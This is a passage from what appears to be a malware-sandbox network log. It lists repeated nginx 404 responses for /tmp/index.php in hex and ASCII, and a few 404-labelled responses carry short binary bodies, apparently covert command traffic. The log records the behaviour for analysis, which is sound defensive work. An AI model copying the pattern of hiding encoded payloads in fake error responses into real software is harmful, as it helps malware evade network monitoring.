75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:29 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1e 7a 47 f0 39 18 f2 f9 09 fc 8c e5 e5 14 99 3b df e9 20 42 18 c2 8f 97 cb Data Ascii: #\6zG9; B
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 5b 3b 08 ad 61 44 a2 ac 09 a2 c8 b0 e5 31 91 3a c0 e8 6d 5f 0d 89 Data Ascii: #\([;aD1:m_
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 0d 63 54 f1 35 0b f5 fd 09 fc 8c e5 e5 00 9d 3c d2 fd 6d 5f 0d 89 Data Ascii: #\6cT5<m_
